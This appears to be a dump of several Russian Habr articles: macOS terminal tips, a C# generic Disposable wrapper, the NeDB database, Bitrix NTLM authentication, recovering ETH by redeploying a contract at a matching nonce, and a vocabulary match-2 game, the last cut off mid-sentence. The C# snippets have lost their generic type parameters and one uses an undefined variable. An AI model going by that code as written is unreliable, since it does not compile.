![](https://habrastorage.org/r/w1560/storage2/c20/593/9fb/c205939fbd1835bb7248d358eff0337e.png) Для начала избавимся от стандартного терминала. Ну, точнее, поставим другой — получше. Я лично предпочитаю [iTerm2](http://www.iterm2.com/), который подходит для работы куда лучше системного. Хотя, и у него бывают интересные моменты (см. картинку вверху). Далее нам могут понадобиться дополнительные инструменты, поэтому устанавливаем [MacPorts](http://www.macports.org/) (хотя, конечно, можно и другой менеджер пакетов). Теперь мы можем ставить нужные консольные утилиты с помощью простых команд. Например, ставим Midnight Commander (он в любом случае может пригодиться), набираем в iTerm2: ``` sudo port install mc ``` После ввода пароля и установки зависимостей и самого mc, можем его запустить, как вы уже догадались, командой `mc`. ![](https://habrastorage.org/r/w1560/storage2/895/007/2c8/8950072c8b742cabfd6f03574f4a6f62.png) О ужас! Нам понадобятся функциональные клавиши, а они нажимаются только через `Fn+F15`, что же делать? Ну как что — лезть в системные настройки и выключать это. Иначе сложно будет с mc работать. Ещё одно важное замечание: ~~кури мануалы~~если что-то не понятно, набираем в консоли `man команда` — и получаем подробное описание команды. (Кстати, для выхода из просмотра мануала надо просто нажать Q). Продолжаем знакомство с консолью. Команда `open` ================================================ Легко можно заметить, что mc показывает куда больше файлов и папок, чем Finder. Конечно, можно поставить хак для него, чтобы он отображал такие файлы, но не все это любят. Так что остаётся лишь пользоваться `Cmd+Shift+G` и вводить вручную имя папки. Но данный способ не особо удобен: нет автокомплита, нет возможности видеть скрытые файлы. Теперь вернёмся к терминалу. В Mac OS X есть замечательнейшая команда `open`, которая действует так, как будто пользователь сделал даблклик на файле или папке в Finder — открывает файл, бандл или ссылку в связанной программе, открывает папку в Finder'е. Вот простой пример работы с этой командой: заходим с помощью mc в скрытую папку (например, /etc/) и набираем: ``` open . ``` Wuala! Файндер отобразил нам нашу системную папку! Но это ещё не всё, ведь скрытые файлы всё ещё не видны. Для примера, откроем наш `.profile`: ``` open .profile ``` И — опа! — скрытый файл открылся в TextEdit! Всё предельно просто. ### Пара слов о бандлах Это всем известно, но на всякий случай повторю: обычные программы в Mac OS X на самом деле являются папками с расширением .app и особым образом устроенным содержимым. Убедиться в этом легко: открываем в Finder папку /Applications/ и делаем `Ctrl+Click` (либо `Right-Click`, если хотите) на любой программе и выбираем «Показать содержимое пакета». ![](https://habrastorage.org/r/w1560/storage2/f94/3e1/2e2/f943e12e2f47648b61a030511f7ee636.png) Из консоли это так же очень хорошо видно: mc отображает эти программы именно как папки. И как же запустить из консоли GUI-программу, спросите вы? Очень просто, есть даже два способа. Способ первый, простейший: ``` open /Applications/Safari.app ``` Программа будет запущена и консоль будет свободна для дальнейших действий. Способ второй, интересный: ``` /Applications/Safari.app/Contents/MacOS/Safari ``` Программа будет запущена, но консоль не освобидится — она будет ждать завершения программы и выводить всё, что программа захочет вывести в неё. То есть, таким образом можно посмотреть рабочий лог некоторых программ. Ещё одно очень важное различие между этими двумя методами: второй позволяет запустить два экземпляра программы, в то время как первый активирует уже запущенную, буде такая имеется. Так что через консоль можно решить и эту проблему (хотя, скорее фичу) макоси: через Finder, док и лаунчер запустить два экземпляра программы нельзя, а вот из консоли — пожалуйста, хоть двадцать два. Скрипт? ======= Расскажу вкратце что из себя представляет shell-скрипт. По сути — это обычный текстовый файл, содержащий серию команд для выполнения. Самый простой скрипт просто запускает последовательно все команды. Скрипты посложнее могут иметь условия, циклы и функции, то есть, скрипт может быть весьма большой и сложной программой. Основной плюс таких скриптов — на их службе вся мощь консольных утилит из мира unix, что с лихвой компенсирует бедность языковых конструкций. Приведу простой пример скрипта, который преобразует все файлы .png в текущей директории, уменьшив их размер до 200 пикселей в ширину или высоту. ``` #!/bin/bash for img in *.png; do fname=${img%.*} fext=${img##*.} sips -Z 200 ${img} --out ${fname}_200.${fext} done ``` Пример простейший, но он демонстрирует главное: в скриптах сокрыта великая сила. Скрипты AppleScript =================== В Mac OS X имеется несколько встроенных механизмов по автоматизации действий. Один из очень распространённых — AppleScript, для которого есть и графический редактор-запускатор. Но использовать такие скрипты можно и из консоли, для этого есть особая утилита — `osascript`. Использовать её можно так: ``` osascript myscript ``` либо ``` osascript -e "команда скрипта" ``` Не буду углубляться в AppleScript, он заслуживает отдельной статьи, и даже не одной. Так что рекомендую почитать [справку](http://www.apple.com/applescript) или [гугл по нему](http://www.macinstruct.com/node/68). Главное: Вы можете комбинировать shell-скрипты со скриптами AppleScript, чтобы добиться максимальной гибкости в работе! К примеру, я использую такие вот смешанные скрипты для автоматической стилизации образа диска: сам диск создаётся с помощью shell (см. ниже), а фон и расположение элементов в образе задаётся с помощью AppleScript. Есть ещё [Automator](http://habrahabr.ru/post/84695/), но он совсем уж GUI-шный, так что в данной статье его рассматривать бессмысленно. Он, конечно, полезный, но до мощи консоли не дотягивает. Кратко о других полезных командах Mac OS X ========================================== Полный (ну, почти) список уникальных для макоси команд можно найти в одной хорошей [статье](http://www.matisse.net/OSX/darwin_commands.html) (хотя сведения там немного устарели), я же вкратце расскажу о наиболее интересных. Для работы с образами дисков имеется консольная утилита `hdiutil`. Пара примеров работы с ней: ``` # создание образа диска из содержимого папки mydata (для чтения и записи) hdiutil create -ov -srcfolder mydata -format UDRW -volname "My Data Image" myimage.dmg # конвертирование образа в сжатый ридонли hdiutil convert myimage.dmg -format UDZO -imagekey zlib-level=9 -o myimage_ro.dmg ``` Более подробно про возможности можно узнать из `man hdiutil`. Если Вы — разработчик программ для макоси, то наверняка знаете о такой замечательной вещи, как Info.plist, да и вообще о plist'ах. Так вот, есть очень удобная утилита, позволяющая конвертировать .plist в .bplist, то есть, в более быстрый и лёгкий бинарный формат плиста. ``` # в бинарный plutil -convert -format bin1 -o Info.bplist Info.plist # в XML plutil -convert -format xml1 -o Info.plist Info.bplist ``` Если хотите позаниматься ерундой, то можно из консоли проговорить любой текст. Для этого есть утилита `say`. ``` # произнести фразу say Hello Habr! # прочитать вслух книгу на ночь say -f coolstory.txt ``` Так же можно задавать голос, которым мак будет с нами говорить: ``` say -v Bad habr habr habr habr habrahabr habr habrahabr ``` Одна беда — по-умолчанию говорит эта штука только по-английски. Теперь снимем скриншот командой из консоли. ``` # скриншот окна без тени, результат - в буфер обмена screencapture -Wco # автоматический скриншот всего экрана - в файл с текущим временем screencapture shot_`date "+%Y-%m-%d_%H:%M:%S"`.png ``` Так же из консоли можно конвертировать текст между различными форматами. Например, можно переконвертировать .doc файл в HTML: ``` # конвертировать в html и открыть результат в дефолтном браузере textutil -convert html myfile.doc && open myfile.html ``` Так же textutil умеет преобразовывать кодировки. Для изменения системных (и не только) настроек, можно использовать команду `defaults`. Используем её во благо! Включим наконец отображение скрытых файлов и папок в Finder! ``` defaults write com.apple.Finder AppleShowAllFiles 1 && killall Finder ``` Файндер автоматически перезапустится и теперь будет отображать скрытые файлы и папки! Но опять таки, это не всем нравится, так давайте это выключим, пока ~~родители~~кто-нибудь не испугался или не удалил нужных файликов. Для сокрытия в уже указанной команде поставьте 0 вместо 1. Ну и для примера, [ссылка на статью](http://macdays.ru/mac-os/tweaks-mac-os-x/), где описано много твиков с помощью этой команды. Что-то типа заключения ====================== Ну что ж, мы разобрали некоторые интересные возможности консоли в Mac OS X. Статья, разумеется, не претендует на полноту и является, скорее, «заманухой» для вовлечения маководов в shell-скриптинг да и вообще в консоль. И да пребудет с Вами сила Unix!
https://habr.com/ru/post/143341/
null
ru
null
# Disposable без границ ![](https://habrastorage.org/r/w780q1/files/f45/7e9/602/f457e960271e49f5aea9cc2e19c38f1c.jpg) В своей [предыдущей статье](http://habrahabr.ru/post/270929/) я рассказал, как объект может просто и надежно нести ответственность за свои ресурсы. Но есть множество вариантов владения, которые не являются персональной ответственностью объекта: * Ресурсы, которыми владеют зависимости. При использовании Dependency Injection объект класса не только не должен отвечать за жизненный цикл своих зависимостей, он просто физически не может это делать: зависимость может разделяться между несколькими клиентами, зависимость может реализовать IDisposable, а может не реализовать, но при этом у нее могут быть свои зависимости и так далее. Кстати, этот довод сразу ставит крест на любых бизнес-интерфейсах, расширяющих IDisposable: такой интерфейс требует от своих реализаций невозможного — отвечать за себя и за того парня (зависимости) * Ресурсы, которые при некоторых условиях не надо очищать. Это, к примеру, дурная привычка StreamReader закрывать нижележащий Stream при вызове Dispose * Ресурсы, которые являются внешними по отношению к зависимости, но требуются клиенту в процессе ее использования. Самый простой пример — подписка на события объекта при присвоении его свойству. Среди стандартных классов и интерфейсов .NET готового решения нет. Но, к счастью, этот велосипед очень просто собрать самому и он сможет дать убедительный ответ на все требования по части освобождения ресурсов. Новый IDisposable&ltT>: теперь с обобщением ------------------------------------------- ``` public interface IDisposable : IDisposable { T Value { get; } } ``` Семантика обобщенного IDisposable отличается от обычного примерно так же как «можете быть свободны» от «немедленно освободите помещение». Теперь очистка ресурсов отделена от реализации основной функциональности и может определяться как поставщиком зависимости, так и ее потребителем. Реализация проста как мычание: ``` public class Disposable : IDisposable { public Disposable(T value, IDisposable lifetime) { \_lifetime = lifetime; Value = value; } public void Dispose() { \_lifetime.Dispose(); } public T Value { get; } private readonly IDisposable \_lifetime; } ``` Используем стероиды ------------------- А теперь я покажу, как с помощью нового велосипеда и нескольких однострочных кусочков синтаксического сахара можно просто, чисто и элегантно решить все рассмотренные варианты освобождения ресурсов. Для начала избавим себя от вызова конструктора с явным указанием типа с помощью метода расширения: ``` public static IDisposable ToDisposable(this T value, IDisposable lifetime) { return new Disposable(value, lifetime); } ``` Для использования достаточно просто написать: ``` var disposableResource = resource.ToDisposable(disposable); ``` Типы компилятор в львиной доле случаев успешно выведет сам. Если объект уже наследует IDisposable и эта реализация нас устраивает, то можно и без аргументов: ``` public static IDisposable ToSelfDisposable(this T value) where T : IDisposable { return value.ToDisposable(value); } ``` Если ничего удалять не надо, но от нас ждут, что мы умеем (помните про вредный StreamReader?): ``` public static IDisposable ToEmptyDisposable(this T value) where T : IDisposable { return value.ToDisposable(Disposable.Empty); } ``` Если хочется автоматически отписаться от событий объекта при расставании: ``` public static IDisposable ToDisposable(this T value, Func lifetimeFactory) { return value.ToDisposable(lifetimeFactory(value)); } ``` … и применять вот так: ``` var disposableResource = new Resource().ToDisposable(r => r.Changed.Subscribe(Handler)); ``` Если очистка требует выполнения специального кода, то и здесь на помощь придет однострочник: ``` public static IDisposable ToDisposable(this T value, Action dispose) { return value.ToDisposable(value, Disposable.Create(() => dispose(value))); } ``` И даже если специальный код также нужен для инициализации: ``` public static IDisposable ToDisposable(this T value, Func disposeFactory) { return new Disposable(value, Disposable.Create(disposeFactory(resource))); } ``` Использовать еще проще чем рассказывать: ``` var disposableViewModel = new ViewModel().ToDisposable(vm => { observableCollection.Add(vm); return () => observableCollection.Remove(vm); }); ``` А что если у нас уже есть готовая обертка, но надо добавить к ней еще немного ответственности за очистку ресурсов? Нет проблем: ``` public static IDisposable Add(this IDisposable disposable, IDisposable lifetime) { return disposable.Value.ToDisposable(Disposable.Create(disposable, lifetime)); } ``` Итоги ----- Наткнувшись на эту идею прямо по ходу решения бизнес-задачи, сразу написал и с чувством глубокого удовлетворения применил все рассмотренные однострочники. Что удивительно, несмотря на наличие как минимум одного полного аналога IDisposable&ltT> в лице [Owned&ltT>](http://autofac.readthedocs.org/en/latest/advanced/owned-instances.html?highlight=owned#relationship-types) из [Autofac](http://autofac.org/), беглое гугление не выявило похожих методов расширения. Надеюсь, статья и применение ее материалов на практике доставит читателям не меньшее удовольствие, чем автору. Любые дополнения и критика приветствуются.
https://habr.com/ru/post/272497/
null
ru
null
# NeDB: аналог SQLite для NodeJS ![](https://habrastorage.org/r/w1560/files/e7a/cc9/5ac/e7acc95ac63b47f3989ab19dc9fa51e3.png) NeDB (**N**ode.js **E**mbedded **D**ata**b**ase) — встраиваемая база данных для NodeJS, реализующая подмножество MongoDB API. Эта легкая NoSQL СУБД написана на чистом JavaScript, не имеет бинарных зависимостей и, помимо NodeJS, может использоваться в NW.js, Electron или прямо в браузере. [NeDB](https://github.com/louischatriot/nedb) обеспечивает хранение данных в простом файле на диске в json-формате, который похож на коллекции в MongoDB. ### Установка NeDB доступен из bower и npm: ``` npm install nedb --save ``` Давайте создадим хранилище данных под названием «users»: ``` var Datastore = require('nedb'); var db = new Datastore({filename : 'users'}); db.loadDatabase(); ``` Это создаст файл с именем users в вашем рабочем каталоге. Если вы хотите использовать NeDB для хранения в памяти, вам необходимо использовать конструктор без параметров, т.е. не передавать ему имя файла. ### CRUD Давайте вставим запись: ``` db.insert({name : "Boris the Blade", year: 1946}); ``` Откройте файл users, чтобы увидеть вставленный объект. NeDB автоматически добавляет поле "\_id" для каждого объекта. Чтобы вставить более одной записи, передайте массив в метод insert. Такая операция является атомарной, так что если одна из вставок потерпит неудачу, для другой будет выполнен откат. Извлечение данных: ``` db.find({year: 1946}, function (err, docs) { console.log(docs); }); ``` Этот метод принимает запрос в виде объекта и функцию обратного вызова; docs представляет собой массив, содержащий результаты поиска. В данном примере мы просто выведем этот массив в консоль. Обновление данных: Для обновления данных вам нужно передать три аргумента: — запрос для поиска документа, который нужно изменить; — объект для замены; — параметры замены (их мы оставим пустыми – {}). ``` db.update({year: 1946}, {name: "Doug the Head", year: 1940}, {}); ``` Выполните запрос и посмотрите на файл users. Замечаете нечто необычное? Первая запись (Бориса Бритвы) до сих пор в файле. Это происходит из-за механики NeDB, которая считает, что не стоит тратит время на переписывание записей. NeDB просто добавляет новые строки. То же самое касается операции удаления: ``` db.remove({year: 1946}, {}); ``` ### Индексация NeDB поддерживает индексы почти как в Mongo: ``` db.ensureIndex({fieldName: 'year'}); ``` Это позволяет немного ускорить поиск данных по полю year. Вы можете индексировать любые поля, включая поля во вложенных документах. ### Скорость NeDB не предназначен для того, чтобы заменить крупномасштабные базы данных, такие как MongoDB. Тем не менее, база работает довольно быстро на ожидаемых наборах данных, особенно после индексации. Документация утверждает, что «на обычной, не-очень-быстрой dev-машине» для коллекции из 10,000 документов NeDB показывает: Вставка: 10,680 ops/s Поиск: 43,290 ops/s Обновление: 8,000 ops/s Удаление: 11,750 ops/s Чуть более точные сравнительные тесты производительности [NeDB против MongoDB, Tingodb и EJDB](https://github.com/louischatriot/nedb/issues/34). Вот и все. Только что вы познакомились с NeDB.
https://habr.com/ru/post/301916/
null
ru
null
# How-to: Прозрачная NTLM авторизация на корпоративном портале Привет Хабрасообществу. Хотел бы посвятить этот топик корпоративному порталу от Bitrix 14 версии, а точнее тому, как его подружить с доменной структурой. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d10/890/64a/d1089064accc732d77ba9f844aab1650.jpg) ##### Введение Все началось с того что решили мы внедрить в организации корпоративный портал (сотрудники, тел. книга, календарь дней рождений) и систему заявок в IT отдел. Попробовав в качестве системы заявок GLPI и Request Tracker, поняли, что слишком громоздко для нас. Рыская по просторам сети в поисках других таких систем наткнулся на модуль «Тех. Поддержка» в продукте от компании Bitrix, ну и собственно решил попробовать убить двух зайцев организовать и заявки, и корпоративный портал. Поставив систему захотелось организовать прозрачную авторизацию на портале под доменными учетками и вот тут начались проблемы… На их сайте довольно-таки много документации и статей, но беда в том что храниться это все в одной кучи и непонятно что, к какой версии относится. С первого раза настроить NTLM авторизацию самому не получилось, точнее авторизация проходила, но после портал запрашивал еще локальную учетку/пароль. Задав вопрос на форуме битрикса ответ не получил, зато нашел еще несколько человек с такой же проблемой. Не успокоившись решил копать сам. В итоге делюсь со всеми how-to настройки КП под BitrixVM и IIS 7. ###### Вводные данные: Домен организации: company.ru Доменное имя машины КП: intranet.company.ru ##### BitrixVM Скачав и запустив образ заходим на машинку по ssh и видим менюшку. Выбрав 15 пункт вводим компьютер в домен: ``` Netbios domain name: COMPANY Full domain name: COMPANY.RU Domain password server (имя контроллера домена): DC.COMPANY.RU Server netbios name: INTRANET Domain administrator user name: admin ``` Проверяем, что компьютер успешно введен в домен командой: ``` net ads testjoin ``` На своем компьютере открываем браузер и заходим по http на intranet.company.ru Производим установку той редакции, которая нужна. Далее производим установку как на картинках: **Картинка в помощь**[![image](https://habrastorage.org/r/w780q1/storage3/8c2/da5/bbd/8c2da5bbd438372c4de944325625d327.jpg)](http://habr.habrastorage.org/post_images/4ca/1f4/a71/4ca1f4a71f60abba32f8406e191dc2a5.jpg) Примечание: В AD был создан пользователь Bitrix с правами пользователя домена. После ввода всей информации нажимаем проверить и автоматически заполниться «Корень дерева». После того как установка завершена попадаем на созданный нами портал. Переходим на вкладку «Администрирование» и донастраиваем NTLM авторизацию в следующих местах: Настройки -> AD/LDAP; Настройки -> Настройки продукта -> Настройки модулей -> Главный модуль; Настройки -> Настройки продукта -> Настройки модулей -> AD/LDAP интеграция. **Картинка в помощь**[![image](https://habrastorage.org/r/w780q1/storage3/5d2/c3b/6d8/5d2c3b6d86ebd3cf28daccf06ca76719.jpg)](http://habr.habrastorage.org/post_images/037/f96/40e/037f9640ec14ad8a1a22322aa751a135.jpg) Примечание: Домен для NTLM авторизации должен быть именно company (без .ru). Добавляем адрес нашего корпоративного портала в зону безопасности Интранет. Лучше это сделать сразу для всех через групповую политику. После всех этих действий пользователь заходя на корпоративный портал, автоматически авторизуется на нем. ##### IIS С IIS сервером все аналогично, за исключением того, что его нужно сначала подготовить. Как это сделать подскажет Яндекс по фразе «Установка и настройка IIS + PHP + MySQL». Единственное надо будет немного донастроить модуль PHP и добавить для него расширение «php\_ldap.dll», разрешить доменную авторизацию и настроить на сайте нужные порты (как минимум 80 и 8890). **Картинка в помощь**[![image](https://habrastorage.org/r/w780q1/storage3/67a/9a0/503/67a9a0503fa52e4414d8924d83fb6cb7.jpg)](http://habr.habrastorage.org/post_images/177/f02/1e7/177f021e7fdc4bad3ebae23e66582018.jpg)
https://habr.com/ru/post/207086/
null
ru
null
# Мы отправили ETH на неправильный адрес и смогли их вернуть ![](https://habrastorage.org/r/w1560/webt/9e/u2/dc/9eu2dcqqjiqeho2a6f1lvdcvl0g.png) Всё началось с проблемы с которой мы столкнулись в [BitClave](https://bitclave.com): во время подготовки нашего ICO некоторый объем криптовалюты ETH (эфир) был отправлен на адрес смарт-контракта, который ранее был задеплоен в **тестовую** сеть Ethereum. Деньги были отправлены в **главной** сети на адрес не относящийся ни к одному приватному ключу, ни к одному смарт-контракту в этой сети. Сначала нам показалось, что мы просто выкинули $2000 без единой возможности вернуть наши средства ![](https://habrastorage.org/r/w1560/webt/ig/cw/qw/igcwqwnxcwwtiitxdqt8lssnl9a.png) История началась с того, что мой коллега спросил у меня приватный ключ к адресу [0x9c86825280b1d6c7dB043D4CC86E1549990149f9](https://etherscan.io/address/0x9c86825280b1d6c7dB043D4CC86E1549990149f9). Я отправил ему приватный ключ к адресу [0x231A3925A014EF0a11a0DC5c33bF7cdB3bd9919f](https://ropsten.etherscan.io/address/0x231a3925a014ef0a11a0dc5c33bf7cdb3bd9919f), с которого был загружен смарт-контракт по первому адресу. Мы обсудили проблему и пришли к выводу, что вернуть отправленные деньги нет никакой возможности Каждый смарт-контракт, загружаемый в сеть Ethereum имеет уникальный адрес, который на первый взгляд выглядит как случайный, но я выяснил как именно адрес генерируется при загрузке в сеть: [ethereum.stackexchange.com/a/761/3032](https://ethereum.stackexchange.com/a/761/3032). Проще говоря адрес загрузки – это хеш адреса отправителя транзакции и значения *nonce* (равного числу исходящих транзакций с этого адреса): ``` deployed_address = sha3(rlp.encode([sender, nonce])) ``` Это натолкнуло меня на мысль использовать тот же самый кошелек (тот что я использовал в **тестовой** сети) для загрузки нового смарт-контракта в **основную** сеть. Я разработал смарт-контракт простейшего кошелька, позволяющего лишь отобразить баланс и перевести утраченные средства: ``` contract SimpleWallet is Ownable { function () public payable { } function weiBalance() public constant returns(uint256) { return this.balance; } function claim(address destination) public onlyOwner { destination.transfer(this.balance); } } ``` Затем я нашел транзакцию в тестовой сети, с помощью которой была произведена загрузка исходного контракта: [0xc4c32a3d97dbd691eb3646e4c0c404e899a632010bc48d7182d75bef6803b7bc](https://ropsten.etherscan.io/tx/0xc4c32a3d97dbd691eb3646e4c0c404e899a632010bc48d7182d75bef6803b7bc) и обнаружил, что поле *nonce* было равно 13. Я пополнил кошелек на 0.03 ETH в главной сети и стал заливать новый смарт-контракт раз за разом, до тех пор пока *nonce* не вырос с 0 до 13. И всё, я получил смарт-контракт загруженный по желаемому адресу! Тут мы можем наблюдать 2 транзакции с одинаковым *nonce* равным 13, который загрузили 2 различных смарт-контракта в 2 разные сети по идентичным адресам с разницей в 5 дней: * [0xc4c32a3d97dbd691eb3646e4c0c404e899a632010bc48d7182d75bef6803b7bc](https://ropsten.etherscan.io/tx/0xc4c32a3d97dbd691eb3646e4c0c404e899a632010bc48d7182d75bef6803b7bc) * [0xeaeb29871ceaabb3dc200b424f38ae1b493262eb8c7f5be7d000f2399e4edba0](https://etherscan.io/tx/0xeaeb29871ceaabb3dc200b424f38ae1b493262eb8c7f5be7d000f2399e4edba0) Средства были успешно получены нами после вызова метода `claim`, свежезалитого смарт-контракта. Также обратите внимание, что смарт-контракт был залит в сеть на 2 дня позже того, как на него поступили средства: ![](https://habrastorage.org/r/w1560/webt/b1/fe/p4/b1fep4ibv7h6satykfaskwsebs4.png) **Кратко.** Мы отправили деньги в **основной** сети Ethereum на адрес смарт-контракта, который был залит в **тестовую** сеть Ethereum. Мы использовали тот же самый кошелёк для загрузки совершенно другого смарт-контракта в **основную** сеть Ethereum несколько раз, пока у транзакции поле *nonce* не достигло значения 13, которое как раз использовалось для загрузки смарт-контракта в **тестовую** сеть. Затем мы вызвали специальный метод нового смарт-контаркта, который позволил нам вывести средства на наш кошелёк. Получилось, что мы загрузили смарт-контракт по адресу, на котором его уже дожидались средства **P.S.** Голосуйте апвоутом за возможность [добавления Emoji в статьи на Хабре](https://github.com/limonte/dear-habr/issues/61)
https://habr.com/ru/post/341518/
null
ru
null
# Обучающая игра за неделю или попытка таймкиллера по английскому Я провел в играх сотни часов по статистике Стима, и тысячи, если считать на всех платформах. Но что меня поразило, так это соотношение времени в некоторых случаях. На прохождение великолепного Bioshock Infinite у меня ушло 8.5 часов, но на Sacura Clicker — на 12 минут больше. На Clicker Heroes — больше сорока часов, почти столько же, как на Torchlight 2. Фокус в том, что я помнил и хорошо представлял затраты времени на большие игры. Но маленькие игрушки совершенно не отложились в памяти, они украли мое время незаметно, растаскивая по пять-десять минут в течение недель и месяцев. Когда я осознал это, то подумал, что было бы неплохо прикрутить к этой балерине турбину. То есть сделать полезный таймкиллер — простенькую игру, которая будет не воровать, а инвестировать мое время по пять-десять минут. К примеру, в словарный запас по английскому. ![](https://habrastorage.org/r/w1560/webt/b9/rg/ja/b9rgjaj-clbonhk9op2kddvhxde.png) Когда-то я купил кучу карточек с английскими словами и читал их в маршрутке по пути в офис. Потом уволился из офиса и привычка пропала, я забыл про карточки. Полез перетряхивать рюкзак, и когда из верхнего бокового кармана веером выпали разные слова, понял — это же match 2! Игра, в которой надо составлять пары (в отличие от match 3, где берут по три и больше). Таймкиллеры с принципом «составь пару» известны давно — к примеру, компьютерная игра маджонг-пасьянс (не путать с классической азартной китайской игрой, в которую играл еще Сэммо Хунг в гонконгских боевиках). ![](https://habrastorage.org/r/w1560/webt/lm/ss/ze/lmsszentusztx7cafryx3yyj2yq.png) *Маджонг из KDE Games* У маджонга-пасьянса есть упрощенная разновидность Mahjong Connect, где фишки выкладываются в простую раскладку, без фигурных пирамид. В википедии можно прочитать, что его называют сисэн-сё (англ. Shisen-Sho), но если вы хотите прогуглить образцы — первое название будет более подходящим. Подозреваю, что первую версию сделал программист вроде меня, у которого не было опыта в программировании полноценного маджонга со сложной выкладкой — но игра внезапно стала популярной и породила собственную ветвь клонов. ![](https://habrastorage.org/webt/ug/cu/3e/ugcu3e1t35_hxp0889h80_llt3i.gif) *Сисэн-сё из KDE Games или Mahjong Connect в народе* Посмотрите на карточки со словами и на Маджонг Коннект — они отлично подходят друг к другу — и там, и там есть пары. Остается только превратить каждую карточку в пару фишек. Дизайн фишек и геймплея ----------------------- Пять новых слов в каждом сеансе и еще несколько повторяющихся слов из предыдущих — вот идея, от которой я отталкивался. Это означало, что в игре должно участвовать как минимум около 20 фишек. На каждой фишке необходимо было разместить хотя бы одно слово с хорошей читаемостью. Бумажные карточки позволяют разместить довольно много текста, но фишки с такими пропорциями получились бы слишком большими. Кроме того, я очень хотел сохранить ощущение «как будто маджонг», а это означало, что одна игровая фишка должна быть очень компактной и по форме, и по тексту. Если повернуть костяшку маджонга на 90 градусов, то получится достаточная для текста площадка. Смоделировав игровую раскладку с такими костяшками в графическом редакторе (Fireworks 2003 года, если любопытно), я увидел, что игра выглядит довольно скучно. Посмотрев снова на скриншоты с маджонгами, попробовал добавить разные графические элементы для оживления картинки. И тут меня осенило — можно же просто добавить на каждую пару по самоцвету. Тогда это будет работать не только как оживляющий элемент, придающий хотя бы внешнее сходство с казуальными игрушками, но и как подсказка. ![](https://habrastorage.org/r/w1560/webt/1l/j5/8c/1lj58co_sbcm9wr3zplmqegrpqk.png) *Черновой вариант игрового поля с разными вариантами фишек* Финальный вариант получился таким — три самоцвета на 10-11 пар слов. Это давало подсказку с шансом случайного совпадения около 25%. Если забыл слово — можно просмотреть фишки с теми же словами. Дополнительный элемент оформления, ускоряющий ориентацию — серый флажок, отмечающий все слова на одном (русском) языке. Изначальная идея была в том, чтобы помечать один элемент из пары, а не национальный признак, поэтому я не стал делать триколор или еще что-то в этом духе. ![](https://habrastorage.org/r/w1560/webt/kd/x7/98/kdx798moam34mqwwew7wfvb_ma4.png) Выглядит как почти читерство, но я не хотел делать экзамен или полноценный тест знаний. Экзамен — это стресс, а мне нужен был максимально легкий и приятный геймплей, чтобы во время игры формировалось чувство победы и уверенности в своих силах. Мне кажется, это одно из важнейших качеств культовых таймкиллеров вроде Bejeweled или Zuma. Игрок идет по оптимальной границе между своим скиллом и неумением, получая удовольствие и возвращаясь к игре снова и снова. Что насчет правил — я сделал еще один шаг в упрощении от Mahjong Connect и позволил составлять пары из любых подходящих друг к другу фишек, а не только из тех, что разблокированы. Есть две причины, почему это произошло. Первая заключается в том, что у меня не было под рукой готового кода для маджонга и я тестировал просто составление пар. Вторая — что я обнаружил, что фишки со словами на разных языках сами по себе усложняют геймплей и составление пар из них уже создает ощущение игры. Забегая вперед — если сделать полноценный коннект и маджонг с такими же фишками, играть на самом деле станет гораздо легче. Дело в том, что дополнительные ограничения на фишки сузят выбор и игроку можно будет только проверять все подходящие по самоцветам свободные для хода фишки — а это даст резкое увеличение вероятности совпадения с 25% до 50 или даже ста, в зависимости от раскладки. Но как бы ни было легко играть или читерить, главная цель в такой игре все равно будет выполняться — мозг игрока будет постоянно сопоставлять пару слов на родном и чужом языке. Если кому-то удастся сделать такой таймкиллер, то десятки часов в нем обернутся пользой для игроков, как бы они ни читерили. Хотя сознательное обучение — безусловно всегда лучше. Программирование ---------------- Для этого проекта я использовал обычный JavaScript и игровой движок Phaser.io 2.10.2. Чем хороши HTML5-игры — они позволяют быстро предоставить доступ для тестирования и обкатки прототипов. Я уже успел убедиться на других проектах, что как средство для создания кроссплатформенной игры HTML5 не очень хорош (ощутимая просадка по FPS на слабых телефонах, проблемы кроссбраузерной совместимости, необходимость продумывать мосты к нативному API в ряде случаев). Но как средство для создания веб-прототипов и веб-игрушек — это хороший выбор. Как и в случае с [постъядерным караваном](https://habr.com/post/336724/), я начал разработку с составления модели состояния игры — то есть data-класса с полями, которые просто отражают текущий прогресс игрока. ``` function GameState() { this.pairKey = "ru-en"; // Key для пар слов, универсальный идентификатор перевода this.pairJsonUrl = "somePath/ru-en.json"; // путь к текущему файлу для пар слов this.matched = 0; // сколько пар убрано за все сеансы this.gold = 0; // валюта. Начисляется за пары, но может тратиться на подсказки this.errors = 0; // ошибочные пары // прогресс по порциям // индекс = номер порции // для Phaser.ArrayUtils.numberArray нужен аргумент - индекс, а не число this.portions = Phaser.ArrayUtils.numberArray(Balance.PORTION_AMOUNT-1) .map(function (portion, index) { return new PortionSaveData(); }); this.portion = 0; // текущая порция // настройки this.options = { tutorial: true, // включить туториал по умолчанию } } ``` Для сохранения и загрузки состояния игры в браузерном JS достаточно просто сериализовать и десериализовать эту модель при записи и чтении в локальное хранилище — и так мы получаем сохранение прогресса на компьютере пользователя буквально парой строчек. Выкладка фишек на поле, обработка нажатий мышки и тачскрина в Phaser реализуются достаточно просто. В нем есть класс Group, который позволяет автоматически выравнивать все добавленные в него визуальные объекты по заданной сетке. Впрочем, так можно делать только правильные прямоугольники (или сетки, если задать большой шаг), что выглядит довольно примитивно. Поэтому я написал свою функцию раскладки, в которой каждый второй ряд смещается на половину фишки — получается выкладка «кирпичами». ``` // выравнять как кирпичи - каждый второй ряд смещен на определенное расстояние function layAsBricks(group, offsetBase) { offsetBase = offsetBase || Math.floor(AppConfig.CHIP_WIDTH / 2); var N = group.length; var i = 0, row, col, COLS = getColAmount(N), ROWS = N / COLS; var offsetX, min = Math.floor(offsetBase / 2), max = offsetBase + min; var lastWidth = 0, lastX = 0; var nextChip; for (row = 0; row < ROWS; row++) { if (row % 2 > 0) offsetX = offsetBase; else offsetX = 0; lastWidth = 0; lastX = 0; for (col = 0; col < COLS; col++) { nextChip = group.children[i]; if (nextChip === undefined) break; group.children[i].y = row * AppConfig.CHIP_HEIGHT; group.children[i].x = lastX + lastWidth; lastX = group.children[i].x; lastWidth = group.children[i].width; group.children[i].x += offsetX; i++; } } } ``` Но главные вопросы мне пришлось решать со словарем. Игры со словарем и шрифтами --------------------------- Первое, что бросится в глаза каждому, если уже не бросилось — длина фишек не является достаточной для адекватного отображения всех слов в словаре. Можно решить это, произвольно меняя размер шрифта в зависимости от длины слова. ![](https://habrastorage.org/r/w1560/webt/b9/rg/ja/b9rgjaj-clbonhk9op2kddvhxde.png) *Разный размер шрифта для разной длины — выглядит немного безумно, на мой взгляд* Но этот вариант показался мне 